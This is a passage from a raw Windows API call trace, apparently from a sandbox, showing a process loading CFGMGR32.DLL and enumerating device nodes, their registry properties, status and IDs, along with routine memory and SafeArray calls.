(hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.769] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0185.769] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0185.769] malloc (_Size=0x48) returned 0x196ef0fc080 [0185.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4f94b8ab, dwHighDateTime=0x1d9eb0c)) [0185.770] SetEvent (hEvent=0x248) returned 1 [0185.771] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.771] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.774] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0185.774] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.781] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0185.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f971b7b, dwHighDateTime=0x1d9eb0c)) [0185.781] SetEvent (hEvent=0x248) returned 1 [0185.782] SetEvent (hEvent=0x248) returned 1 [0185.782] free (_Block=0x196ef0fb7c0) [0185.782] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.782] malloc (_Size=0x48) returned 0x196ef0fb310 [0185.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f971b7b, dwHighDateTime=0x1d9eb0c)) [0185.783] SetEvent (hEvent=0x248) returned 1 [0185.783] SetEvent (hEvent=0x248) returned 1 [0185.784] free (_Block=0x196ef0fb310) [0185.784] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.784] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0185.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f971b7b, dwHighDateTime=0x1d9eb0c)) [0185.784] SetEvent (hEvent=0x248) returned 1 [0185.785] SetEvent (hEvent=0x248) returned 1 [0185.785] free (_Block=0x196ef0fb3b0) [0185.785] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.785] malloc (_Size=0x48) returned 0x196ef0fb400 [0185.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f971b7b, dwHighDateTime=0x1d9eb0c)) [0185.785] SetEvent (hEvent=0x248) returned 1 [0185.788] SetEvent (hEvent=0x248) returned 1 [0185.788] free (_Block=0x196ef0fb400) [0185.788] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.790] malloc (_Size=0x48) returned 0x196ef0fbae0 [0185.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f971b7b, dwHighDateTime=0x1d9eb0c)) [0185.790] SetEvent (hEvent=0x248) returned 1 [0185.791] SetEvent (hEvent=0x248) returned 1 [0185.792] free (_Block=0x196ef0fbae0) [0185.792] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1a, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0185.792] malloc (_Size=0x48) returned 0x196ef0fbc70 [0185.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4f997cc0, dwHighDateTime=0x1d9eb0c)) [0185.792] SetEvent (hEvent=0x248) returned 1 [0185.794] SetEvent (hEvent=0x248) returned 1 [0185.794] free (_Block=0x196ef0fbc70) [0185.794] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1a, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0185.795] malloc (_Size=0x48) returned 0x196ef0fbd10 [0185.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4f997cc0, dwHighDateTime=0x1d9eb0c)) [0185.795] SetEvent (hEvent=0x248) returned 1 [0185.795] SetEvent (hEvent=0x248) returned 1 [0185.796] free (_Block=0x196ef0fbd10) [0185.796] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0185.796] malloc (_Size=0x48) returned 0x196ef0fb270 [0185.796] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f997cc0, dwHighDateTime=0x1d9eb0c)) [0185.796] SetEvent (hEvent=0x248) returned 1 [0185.798] SetEvent (hEvent=0x248) returned 1 [0185.799] free (_Block=0x196ef0fb270) [0185.800] CM_Get_Device_IDA (in: dnDevInst=0x1b, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\VDRVROOT\\0000") returned 0x0 [0185.800] malloc (_Size=0x48) returned 0x196ef0fbf40 [0185.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4f997cc0, dwHighDateTime=0x1d9eb0c)) [0185.800] SetEvent (hEvent=0x248) returned 1 [0185.801] SetEvent (hEvent=0x248) returned 1 [0185.802] free (_Block=0x196ef0fbf40) [0185.802] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0185.802] malloc (_Size=0x1e) returned 0x196ef0f9e20 [0185.802] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9e20, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9e20, pulLength=0x67117d608) returned 0x0 [0185.802] free (_Block=0x196ef0f9e20) [0185.802] malloc (_Size=0x48) returned 0x196ef0fb950 [0185.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4f997cc0, dwHighDateTime=0x1d9eb0c)) [0185.802] SetEvent (hEvent=0x248) returned 1 [0185.802] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0185.803] SafeArrayPutElement (psa=0x196ee7bf760, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0185.803] free (_Block=0x196ef0d1bc0) [0185.803] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8554e0 [0185.803] SafeArrayGetDim (psa=0x196ee7bf760) returned 0x1 [0185.803] SafeArrayGetLBound (in: psa=0x196ee7bf760, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0185.803] SafeArrayGetUBound (in: psa=0x196ee7bf760, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0185.803] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6410 [0185.803] SafeArrayGetDim (psa=0x196ee7bf760) returned 0x1 [0185.803] SafeArrayGetUBound (in: psa=0x196ee7bf760, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0185.803] SafeArrayGetElemsize (psa=0x196ee7bf760) returned 0x8 [0185.803] SafeArrayGetElement (in: psa=0x196ee7bf760, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0185.803] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225f70, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.804] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6410) returned 1 [0185.805] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8554e0) returned 1 [0185.805] SetEvent (hEvent=0x248) returned 1 [0185.806] free (_Block=0x196ef0fb950) [0185.806] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0185.806] malloc (_Size=0x48) returned 0x196ef0fb400 [0185.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4f997cc0, dwHighDateTime=0x1d9eb0c)) [0185.807] SetEvent (hEvent=0x248) returned 1 [0185.807] SetEvent (hEvent=0x248) returned 1 [0185.808] free (_Block=0x196ef0fb400) [0185.965] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.973] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0185.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fb3ee3f, dwHighDateTime=0x1d9eb0c)) [0185.973] SetEvent (hEvent=0x248) returned 1 [0185.974] SetEvent (hEvent=0x248) returned 1 [0185.975] free (_Block=0x196ef0fb8b0) [0185.975] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.975] malloc (_Size=0x48) returned 0x196ef0fb540 [0185.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fb3ee3f, dwHighDateTime=0x1d9eb0c)) [0185.975] SetEvent (hEvent=0x248) returned 1 [0185.976] SetEvent (hEvent=0x248) returned 1 [0185.976] free (_Block=0x196ef0fb540) [0185.976] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.977] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0185.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fb3ee3f, dwHighDateTime=0x1d9eb0c)) [0185.977] SetEvent (hEvent=0x248) returned 1 [0185.978] SetEvent (hEvent=0x248) returned 1 [0185.978] free (_Block=0x196ef0fb9a0) [0185.978] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.978] malloc (_Size=0x48) returned 0x196ef0fba40 [0185.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fb3ee3f, dwHighDateTime=0x1d9eb0c)) [0185.978] SetEvent (hEvent=0x248) returned 1 [0185.982] SetEvent (hEvent=0x248) returned 1 [0185.983] free (_Block=0x196ef0fba40) [0185.983] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.984] malloc (_Size=0x48) returned 0x196ef0fb680 [0185.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fb617d1, dwHighDateTime=0x1d9eb0c)) [0185.984] SetEvent (hEvent=0x248) returned 1 [0185.985] SetEvent (hEvent=0x248) returned 1 [0185.985] free (_Block=0x196ef0fb680) [0185.985] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1b, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0185.986] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0185.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4fb617d1, dwHighDateTime=0x1d9eb0c)) [0185.986] SetEvent (hEvent=0x248) returned 1 [0185.987] SetEvent (hEvent=0x248) returned 1 [0185.988] free (_Block=0x196ef0fc0d0) [0185.988] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1b, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0185.988] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0185.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4fb617d1, dwHighDateTime=0x1d9eb0c)) [0185.988] SetEvent (hEvent=0x248) returned 1 [0185.989] SetEvent (hEvent=0x248) returned 1 [0185.989] free (_Block=0x196ef0fb4a0) [0185.989] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0185.989] malloc (_Size=0x48) returned 0x196ef0fbe50 [0185.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fb617d1, dwHighDateTime=0x1d9eb0c)) [0185.990] SetEvent (hEvent=0x248) returned 1 [0185.991] SetEvent (hEvent=0x248) returned 1 [0185.992] free (_Block=0x196ef0fbe50) [0185.992] CM_Get_Device_IDA (in: dnDevInst=0x1c, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\GPE0_RESOURCES") returned 0x0 [0185.992] malloc (_Size=0x48) returned 0x196ef0fbb80 [0185.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4fb617d1, dwHighDateTime=0x1d9eb0c)) [0185.992] SetEvent (hEvent=0x248) returned 1 [0185.993] SetEvent (hEvent=0x248) returned 1 [0185.993] free (_Block=0x196ef0fbb80) [0185.993] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0185.993] malloc (_Size=0x5a) returned 0x196ef0d0370 [0185.993] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608) returned 0x0 [0185.994] free (_Block=0x196ef0d0370) [0185.994] malloc (_Size=0x48) returned 0x196ef0fbea0 [0185.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4fb617d1, dwHighDateTime=0x1d9eb0c)) [0185.994] SetEvent (hEvent=0x248) returned 1 [0185.994] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0185.994] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0185.994] free (_Block=0x196ef0d1bc0) [0185.994] malloc (_Size=0x18) returned 0x196ef0d1e60 [0185.994] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0185.994] free (_Block=0x196ef0d1e60) [0185.995] malloc (_Size=0x18) returned 0x196ef0d1be0 [0185.995] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0185.995] free (_Block=0x196ef0d1be0) [0185.995] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ae0 [0185.995] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0185.995] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0185.995] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0185.995] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b62f0 [0185.995] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0185.995] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0185.995] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0185.995] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0185.996] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e630, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.996] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e638, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.996] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e640, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.997] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b62f0) returned 1 [0185.997] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ae0) returned 1 [0185.997] SetEvent (hEvent=0x248) returned 1 [0185.998] free (_Block=0x196ef0fbea0) [0185.998] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0185.998] malloc (_Size=0x48) returned 0x196ef0fb810 [0185.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4fb87b5b, dwHighDateTime=0x1d9eb0c)) [0185.998] SetEvent (hEvent=0x248) returned 1 [0185.998] SetEvent (hEvent=0x248) returned 1 [0185.999] free (_Block=0x196ef0fb810) [0185.999] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.001] malloc (_Size=0x48) returned 0x196ef0fbf90 [0186.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fb87b5b, dwHighDateTime=0x1d9eb0c)) [0186.002] SetEvent (hEvent=0x248) returned 1 [0186.002] SetEvent (hEvent=0x248) returned 1 [0186.003] free (_Block=0x196ef0fbf90) [0186.003] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.003] malloc (_Size=0x48) returned 0x196ef0fb900 [0186.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fb87b5b, dwHighDateTime=0x1d9eb0c)) [0186.003] SetEvent (hEvent=0x248) returned 1 [0186.004] SetEvent (hEvent=0x248) returned 1 [0186.005] free (_Block=0x196ef0fb900) [0186.005] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.005] malloc (_Size=0x48) returned 0x196ef0fb360 [0186.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fb87b5b, dwHighDateTime=0x1d9eb0c)) [0186.005] SetEvent (hEvent=0x248) returned 1 [0186.006] SetEvent (hEvent=0x248) returned 1 [0186.007] free (_Block=0x196ef0fb360) [0186.007] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0186.007] malloc (_Size=0x48) returned 0x196ef0fbd10 [0186.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fb87b5b, dwHighDateTime=0x1d9eb0c)) [0186.007] SetEvent (hEvent=0x248) returned 1 [0186.009] SetEvent (hEvent=0x248) returned 1 [0186.009] free (_Block=0x196ef0fbd10) [0186.010] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.338] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0186.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fea8c54, dwHighDateTime=0x1d9eb0c)) [0186.338] SetEvent (hEvent=0x248) returned 1 [0186.341] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.341] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 